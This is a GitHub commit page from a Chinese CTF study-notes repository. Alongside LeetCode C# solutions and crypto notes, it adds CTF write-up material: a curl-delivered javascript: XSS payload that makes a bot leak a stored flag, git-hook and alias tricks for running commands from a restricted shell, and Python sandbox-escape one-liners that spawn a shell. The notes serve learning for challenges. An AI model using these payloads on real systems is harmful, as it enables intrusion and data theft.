Skip to content

Commit

Permalink
Design Underground System
Browse files Browse the repository at this point in the history
  • Loading branch information
C0nstellati0n committed May 31, 2023
1 parent dd4cd7b commit 908c94d
Show file tree
Hide file tree
Showing 8 changed files with 253 additions and 6 deletions.
17 changes: 16 additions & 1 deletion CTF/picoCTF/Web/msfroggenerator2.md
Original file line number Diff line number Diff line change
Expand Up @@ -84,4 +84,19 @@ server {

[proxy_set_header](https://www.cnblogs.com/kevingrace/p/8269955.html)重新定义或添加字段传递给代理服务器的请求头,设置的正是刚才提到的host头。[proxy_pass](https://www.jianshu.com/p/b010c9302cd0)设置转发给traefik,然后traefik就能根据host头选择服务了。[set_by_lua](https://juejin.cn/s/nginx%20set_by_lua%20directive)用于在nginx配置文件中执行Lua代码,并将执行结果存储到nginx变量中。`..`起到拼接的作用,`ngx.var.arg_id`为query 参数。

这里就是全部的基础内容了,具体解法可以看wp,非常清晰(就是复现不出来,再清晰也改变不了我笨的事实)。
这里就是全部的基础内容了,具体解法可以看wp,非常清晰(就是复现不出来,再清晰也改变不了我笨的事实)。

今天看到另一个[wp](https://blog.maple3142.net/2023/03/29/picoctf-2023-writeups/#msfroggenerator2),再度刷新我的认知:糟了原来这么简单,看来我真的是个笨蛋。

前半部分和上面的wp一样,利用traefik判断query string separator时会考虑分号`;`,且在 2.7.2 版本之后会将分号标准化为`&`,于是有了参数覆盖。非预期的地方在于,既然可以让bot去任意url了,完全可以塞个`javascript:script`来让bot执行xss payload。
```sh
base=
curl -g $base'/report?id=;url=javascript:fetch("/api/reports/add",{method:"POST",headers:{"Content-Type":"application/json","Authorization":`Bearer\u0020${localStorage.flag}`},body:JSON.stringify({url:localStorage.flag})})' -v
sleep 5
curl $base'/api/reports/get' | jq .[].url
```
最后的`jq .[].url`中的jq是个处理json的命令,`.[]` is a jq filter that extracts the values of all elements in the top-level array。

exp逻辑大概是这样的:根据源码(bot.js),bot会去到我们给出的url,在url的页面截个图,发往`/api/reports/add``/api/reports/add`判断Bearer是否是flag(即是不是bot发的),然后将接收到的req.body作为report加入reports数组(web.js)。`/api/reports/get`路由获取之前加的所有report。现在我们发送的url直接就是js代码,bot执行后会带着bearer去往add,req.body也是flag。自然去到get就能拿到flag了。

题目作者确实加了csp,但chrome似乎允许`page.goto`(等于用户在浏览器输入url)执行xss,不管csp。
1 change: 1 addition & 0 deletions Leetcode/Leetcode.md
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,7 @@
- [Maximum Subsequence Score](./Medium/Maximum%20Subsequence%20Score.md). heap.
- [New 21 Game](./Medium/New%2021%20Game.md). dp.
- [Stone Game II](./Medium/Stone%20Game%20II.md). dp+dfs.
- [Design Underground System](./Medium/Design%20Underground%20System.md).

## Hard
- [Longest Cycle in a Graph](Hard/Longest%20Cycle%20in%20a%20Graph.md).You are given a directed graph of n nodes numbered from 0 to n - 1, where each node has at most one outgoing edge. The graph is represented with a given 0-indexed array edges of size n, indicating that there is a directed edge from node i to node edges[i]. If there is no outgoing edge from node i, then edges[i] == -1. Return the length of the longest cycle in the graph. If no cycle exists, return -1. 图表里的每个node最多只有一条向外的有向路径,返回图表内循环node的数量。dfs变种/Floyd Cycle Detection Algorithm+dp。
Expand Down
176 changes: 176 additions & 0 deletions Leetcode/Medium/Design Underground System.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,176 @@
# Design Underground System

[题目](https://leetcode.com/problems/design-underground-system/description/)

眼睛:hint说只用2个hash table就好了。大脑:我说3个就3个!冲锋!

```c#
public class UndergroundSystem {
Dictionary<int,string> start;
Dictionary<int,int> startTime;
Dictionary<string,double[]> avg;
public UndergroundSystem() {
start=new();
startTime=new();
avg=new();
}

public void CheckIn(int id, string stationName, int t) {
start[id]=stationName;
startTime[id]=t;
}

public void CheckOut(int id, string stationName, int t) {
string key=start[id]+"."+stationName; //中间加任意符号保证key唯一。a ab,aa b如果不加符号拼在一起就是一样的
if(avg.ContainsKey(key)){
avg[key][0]+=1;
}
else{
avg[key]=new double[2];
avg[key][0]=1;
}
avg[key][1]=t-startTime[id]+avg[key][1];
}

public double GetAverageTime(string startStation, string endStation) {
return avg[startStation+"."+endStation][1]/avg[startStation+"."+endStation][0];
}
}
```
```
Runtime
368 ms
Beats
52.78%
Memory
71.7 MB
Beats
86.11%
```
其实我思路都差不多了,把前两个hash table像第三个一样合在一起就好了。
```c#
//https://leetcode.com/problems/design-underground-system/solutions/554879/c-java-python-hashmap-pair-clean-concise-o-1/
public class UndergroundSystem {
Dictionary<int, Tuple<string, int>> checkInDictionary = new(); // Uid - {StationName, Time}
Dictionary<string, Tuple<double, int>> routeDictionary = new(); // RouteName - {TotalTime, Count}
public UndergroundSystem() {}

public void CheckIn(int id, string stationName, int t) {
checkInDictionary[id]=new Tuple<string,int>(stationName, t);
}

public void CheckOut(int id, string stationName, int t) {
Tuple<string, int> checkIn = checkInDictionary[id];
checkInDictionary.Remove(id); // Remove after using it which will not make HashTable big
string routeName = checkIn.Item1 + "_" + stationName;
int totalTime = t - checkIn.Item2;

Tuple<double, int> route = routeDictionary.GetValueOrDefault(routeName, new Tuple<double,int>(0.0, 0));
routeDictionary[routeName]=new Tuple<double,int>(route.Item1 + totalTime, route.Item2 + 1);
}

public double GetAverageTime(string startStation, string endStation) {
string routeName = startStation + "_" + endStation;
Tuple<double, int> trip = routeDictionary[routeName];
return trip.Item1 / trip.Item2;
}
}
```
```
Runtime
342 ms
Beats
100%
Memory
80.2 MB
Beats
44.44%
```
或者使用oop,把答案写得更“实际”一点。
```c#
//https://leetcode.com/problems/design-underground-system/solutions/672744/java-solution-for-easy-understanding-using-oops/
class Passenger {
public int checkinTime;
public int checkoutTime;
public string checkinLocation;
public string checkoutLocation;

public Passenger(string checkinLocation, int checkinTime) {
this.checkinLocation = checkinLocation;
this.checkinTime = checkinTime;
}

public void checkout(string checkoutLocation, int checkoutTime) {
this.checkoutLocation = checkoutLocation;
this.checkoutTime = checkoutTime;
}

}

class Route {
string startStation;
string endStation;
int totalNumberOfTrips;
long totalTimeSpentInTrips;

public Route(string startStation, string endStation) {
this.startStation = startStation;
this.endStation = endStation;
}

public double getAverageTime() {
return (double) totalTimeSpentInTrips / totalNumberOfTrips;
}

public void addTrip(int startTime, int endTime) {
totalTimeSpentInTrips += endTime - startTime;
totalNumberOfTrips++;
}
}

class UndergroundSystem {

Dictionary<int, Passenger> currentPassengerDictionary;
Dictionary<string, Route> routeDictionary;

public UndergroundSystem() {
currentPassengerDictionary = new();
routeDictionary = new();
}

public void CheckIn(int id, string stationName, int t) {
if (!currentPassengerDictionary.ContainsKey(id)) {
Passenger passenger = new Passenger(stationName, t);
currentPassengerDictionary[id]=passenger;
}
}

public void CheckOut(int id, string stationName, int t) {
if (currentPassengerDictionary.ContainsKey(id)) {
Passenger passenger = currentPassengerDictionary[id];
passenger.checkout(stationName, t);
string routeKey = passenger.checkinLocation + "," + passenger.checkoutLocation;
Route route = routeDictionary.GetValueOrDefault(routeKey, new Route(passenger.checkinLocation, passenger.checkoutLocation));
route.addTrip(passenger.checkinTime, passenger.checkoutTime);
routeDictionary[routeKey]=route;
currentPassengerDictionary.Remove(id);
}
}

public double GetAverageTime(string startStation, string endStation) {
return routeDictionary[startStation + "," + endStation].getAverageTime();
}
}
```
```
Runtime
346 ms
Beats
100%
Memory
81 MB
Beats
30.56%
```
10 changes: 8 additions & 2 deletions 笔记/Crypto/Crypto笔记.md
Original file line number Diff line number Diff line change
Expand Up @@ -488,7 +488,7 @@ from Crypto.PublicKey import RSA
key1=RSA.importKey(open('public1.pub').read())
print(f"n={key1.n}\ne={key1.e}")
```
4. 离散对数问题。一般的对数 $a^b=c$ ,求得b可以直接用 $log_a(c)$ 。但是在加上模运算的情况下就要使用离散对数了。 $a^b=c\mod d$ ,使用sympy的离散对数函数。
4. 离散对数问题(Discrete Logarithm ProblemDLP)。一般的对数 $a^b=c$ ,求得b可以直接用 $log_a(c)$ 。但是在加上模运算的情况下就要使用离散对数了。 $a^b=c\mod d$ ,使用sympy的离散对数函数。

```python
m = 0
Expand All @@ -499,6 +499,7 @@ import sympy
x=sympy.discrete_log(n,c,m) #参数顺序:sympy.discrete_log(模数,结果,底数)
print(long_to_bytes(x))
```
也可用[网站](https://www.alpertron.com.ar/DILOG.HTM)计算. https://github.com/hollowcrust/TJCTF-2023/blob/main/crypto.md#2-ezdlp

5. 海明码(汉明码)问题。例题:[H■m■i■g](https://github.com/C0nstellati0n/NoobCTF/blob/main/CTF/moectf/Misc/H%E2%96%A0m%E2%96%A0i%E2%96%A0g.md)。今天又遇见一道题:[鸡藕椒盐味](https://buuoj.cn/challenges#%E9%B8%A1%E8%97%95%E6%A4%92%E7%9B%90%E5%91%B3),也是海明码,没想到直接用当时写的脚本就能出答案。

Expand Down Expand Up @@ -1790,4 +1791,9 @@ nn1 = r1.getrandbits(32)
nn2 = r1.getrandbits(32)
ans = r_float(nn1, nn2) * (2**32 - 1)
```
50. [Deseret Alphabet](https://www.2deseret.com/):形如`𐐒𐐀 𐐎𐐌 𐐏𐐅 𐐝𐐀 𐐓𐐀 𐐇𐐙 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐣𐐀𐐤𐐞 𐐐𐐊𐐤𐐆 𐐒`
50. [Deseret Alphabet](https://www.2deseret.com/):形如`𐐒𐐀 𐐎𐐌 𐐏𐐅 𐐝𐐀 𐐓𐐀 𐐇𐐙 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐣𐐀𐐤𐐞 𐐐𐐊𐐤𐐆 𐐒`
51. [squishy](https://meashiri.github.io/ctf-writeups/posts/202305-tjctf/)
- 不安全的rsa签名。rsa签名为 $m^d\mod n$ ,但签名用的公钥和私钥不能与加密时用的一样,或是签名时不要直接使用明文,先用某种哈希函数求其hash值再签名。当攻击者已知m和签名使用的公钥时,就能在私钥未知的情况下利用交互获取m的签名
- 选取 $m_1\not ={m}$ ,利用交互获取其签名 $s_1=m_1^d\mod n$
- 计算 $m_2=m\*m_1^{-1}$ ,获取其签名 $s_2=m_2^d\mod n=(m\*m_1^{-1})^d\mod n$
- 计算 $s=s_1\*s_2=(m_1^d\*m\*m_1^{-1})^d\mod n=m^d\mod n$ ,即为m的签名
34 changes: 33 additions & 1 deletion 笔记/Misc/Misc笔记.md
Original file line number Diff line number Diff line change
Expand Up @@ -910,4 +910,36 @@ you can use the command show options to display the different configuration sett
- `mmls disk.raw`:查看磁盘分区
- `fls -o offset disk.raw <inode>`:查看diskoffset偏移处的inode文件(偏移从mml获得,inode可选)
- `icat -o offset disk.raw inode > res.txt`:将diskoffset偏移处的inode文件内容导出到res.txt
- 使用virtual box的命令vboximg-mount挂载虚拟diskhttps://github.com/BYU-CSA/BYUCTF-2023/tree/main/vmception
- 使用virtual box的命令vboximg-mount挂载虚拟diskhttps://github.com/BYU-CSA/BYUCTF-2023/tree/main/vmception
158. [gish](https://chocapikk.com/posts/2023/tjctf2023-gish/)
- 当一个shell只能执行git相关命令时,仍然可以利用[git hooks](https://pilot34.medium.com/store-your-git-hooks-in-a-repository-2de1d319848c)执行任意命令。
```sh
git init //初始化一个git仓库
git config --global user.email ""
git config --global user.name "" //配置用户设置。配置后才能执行commit
git config -f .gitconfig core.hooksPath hooks //告诉git使用配置在hooks目录下的文件作为hook
git config --local alias.pre-commit '!echo $(cat /flag-*)' //设置一个alias pre-commit,其运行时会打印flag文件的内容
git config --local include.path ../.gitconfig //加载刚才配置好的gitconfig
git pre-commit //运行触发hook
```
- 不使用hook
- 任意文件读取
```sh
git config --global user.email ""
git config --global user.name ""
git init .. //此题flag在上层目录,于是把仓库init到上层目录
git add ../flag* //添加flag文件
git commit -m 'a'
git show ../flag* //展示commit的文件,也就是flag
```
- getshell。之后`cat /flag* >&2`获取flag
```sh
git --git-dir '.;bash;' init
git init
git add .
git config --global user.email ''
git config --global user.name ''
git commit --allow-empty-message -m ''
git cache-meta --store
git cache-meta --apply
```
17 changes: 16 additions & 1 deletion 笔记/Pwn/Pwn笔记.md
Original file line number Diff line number Diff line change
Expand Up @@ -339,13 +339,16 @@ gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai
- `print(''.__class__.__mro__[1].__subclasses__()[109].__init__.__globals__['sys'].modules['os'].__dict__['system']('cmd'))`
- `print("".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('sh'))`
- `print.__self__.__loader__.load_module('o''s').spawnl(0, "/bin/sh", "a")`
- `print(().__class__.__mro__[1].__subclasses__()[84]().load_module('o'+'s').__dict__['sy'+'stem']('cmd'))`
- `print([x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "_wrap_close"][0].__init__.__globals__['system']('cmd'))`
- 关于`eval(payload)`中payload的控制
- 不使用26个字母中的前13个字母(使用10进制ascii绕过):`exec("pr\x69nt(op\x65n('\x66'+\x63\x68r(108)+'\x61\x67.txt').r\x65\x61\x64())")`
- 不使用26个字母中的后13个字母(使用8进制):`exec("\160\162i\156\164(\157\160e\156('flag.\164\170\164').\162ead())")`,`exec("\160\162\151\156\164\050\157\160\145\156\050\047\146\154\141\147\056\164\170\164\047\051\056\162\145\141\144\050\051\051")``\145\166\141\154\50\151\156\160\165\164\50\51\51`(`eval(input)`)
- 不使用任何数字或括号:`[[help['cat flag.txt'] for help.__class__.__getitem__ in [help['os'].system]] for help.__class__.__getitem__ in [__import__]]`(执行命令),`[f"{help}" for help.__class__.__str__ in [breakpoint]]`(开启pdb)
- 使用斜体:`𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())`,`𝘦𝘹𝘦𝘤("𝘢=𝘤𝘩𝘳;𝘣=𝘰𝘳𝘥;𝘤=𝘣('൬');𝘥=𝘢(𝘤-𝘣('೸'));𝘱𝘳𝘪𝘯𝘵(𝘰𝘱𝘦𝘯(𝘢(𝘤-𝘣('ആ'))+𝘢(𝘤-𝘣('ഀ'))+𝘢(𝘤-𝘣('ഋ'))+𝘢(𝘤-𝘣('അ'))+'.'+𝘥+𝘢(𝘤-𝘣('೴'))+𝘥).𝘳𝘦𝘢𝘥())")`
- 不使用`__`:`().__class__.__bases__[0].__subclasses__()[124].get_data('.','flag.txt')`(第二个`_`是unicode里面的下划线,python自动标准化成`_`)
- 使用特殊字体:`breakpoint()`(开启pdb)
- 当空格被过滤时,可以用tab键代替:`import os`

40. pwntools可以连接启用ssl/tls的远程服务器,只需给remote添加一个参数`ssl=True`。如:

Expand Down Expand Up @@ -712,4 +715,16 @@ int pthread_cond_signal (pthread_cond_t * cond);
- glibc 2.33 [safe linking](https://cloud.tencent.com/developer/article/1643954):fd在存储前会被加密。假设要存储fd的堆块的地址为A,为加密的fd地址为B。那么加密后的fd为 (A>>12)^B。A>>12表示取出aslr随机值,所以如果已经泄露出aslr随机值就不用右移12了(当tcache里只有一个堆块时,那个堆块的fd就是aslr值)。似乎任何堆块的地址>>12都是aslr值。
- safe linking下的tcache poisoning要将fd mangle加密,且目标地址要与16对齐(地址末尾一定是0
- plt与got表深入理解:https://zhuanlan.zhihu.com/p/130271689 。一个函数的plt表是3条指令:jmp addr;push num;jmp addr。
- 可利用`setbuf(stderr,(char *)0x0);`getshell。stderr在bss段,因此只要能泄露地址/没有PIE+partial relro,就能尝试将setbuf的got表改成system,再往stderr里写入sh。甚至可以再找个方便控制调用的函数,将其got改为改动后的setbuf。如果system在改之前已经加载过,got表里填写的system plt地址就能往下写一条(从第一条jmp addr的地址写到push num)
- 可利用`setbuf(stderr,(char *)0x0);`getshell。stderr在bss段,因此只要能泄露地址/没有PIE+partial relro,就能尝试将setbuf的got表改成system,再往stderr里写入sh。甚至可以再找个方便控制调用的函数,将其got改为改动后的setbuf。如果system在改之前已经加载过,got表里填写的system plt地址就能往下写一条(从第一条jmp addr的地址写到push num)
- pwntools gdb.debug使用。
```py
io = gdb.debug( #使用gdb.debug需要安装gdbserver:sudo apt-get install gdbserver
"./vuln",
"\n".join(
[
"此处写gdb脚本",
"一句是list的一个元素"
]
),
)
```
1 change: 1 addition & 0 deletions 笔记/Tools/工具脚本.md
Original file line number Diff line number Diff line change
Expand Up @@ -1264,6 +1264,7 @@ plt.show()

- [ls](https://ubunlog.com/en/alternativas-al-comando-ls/)
- [cat](https://unix.stackexchange.com/questions/86321/how-can-i-display-the-contents-of-a-text-file-on-the-command-line)
- [Specialer](https://blog.maple3142.net/2023/03/29/picoctf-2023-writeups/#specialer):`for f in **/*; do echo $(<$f); done`

## Core war

Expand Down
3 changes: 2 additions & 1 deletion 笔记/Web/Web笔记.md
Original file line number Diff line number Diff line change
Expand Up @@ -1159,9 +1159,10 @@ nc -lv 7777
- [docker-compose.yml](https://docs.docker.com/compose/compose-file/compose-file-v3/)[nginx配置文件](https://www.cnblogs.com/54chensongxia/p/12938929.html)[traefik](https://doc.traefik.io/traefik/routing/overview/)了解。
- js里的searchParams.get可以遍历,有可能存在列表参数,也就是多个 value 一个 key 。而Object.fromEntries 会把多个压缩成一个,并且总是取得最后面的那个。即连续给相同参数附不同值时,只会取到最后面的那个。
- nginx里的&是保留词,如果放在开头就会被nginx 当作另一个参数对待,不会读取。且无法用其url编码形式绕过,因为此题使用ngx.var.arg_xx读取请求的参数,而ngx.var.arg_xx在获取的时候不会进行 urldecode。
- Traefik会自动将url里的`;`替换为`&`
- Traefik 2.7.2+会自动将url里的`;`替换为`&`,可能有query参数覆盖
- chrome puppteer不仅可以访问普通的url,还可以访问`javascript:代码`,`file:///`等协议。并且还可以使用正常浏览器的保存文件等功能。
- chrome对于file scheme有严格的保护机制。对于 fetch 等直接获取信息的东西,无法跨域。并且 file 处于特殊的地方,它和 data 一样都是以 null 作为 origin 并且不能互相访问。如果外部访问 file 的内容会被 chrome 阻止。也就是说,不能用任何 file 之外的东西直接获取 file 的内容,连 open 和 iframe 都不能访问到 file。但file 访问 file 的时候是不受这个限制的。需要注意的是从 file 访问 file 的时候,不能用跨域直接获取信息的方法,例如 fetch 和 open 的返回对象。但是 open 和 iframe 是可以正常用的。
- chrome似乎允许puppeteer的`page.goto`(等于用户在浏览器输入url)执行xss,不管csp。
177. [web签到](https://ctf-show.feishu.cn/docx/UpC6dtDqgo7VuoxXlcvcLwzKnqh#BEM2dgiACoGmg4x4jKXcJ6kGnQf)
- php中的数组可以直接赋值:
```php
Expand Down

0 comments on commit 908c94d

Please sign in to comment.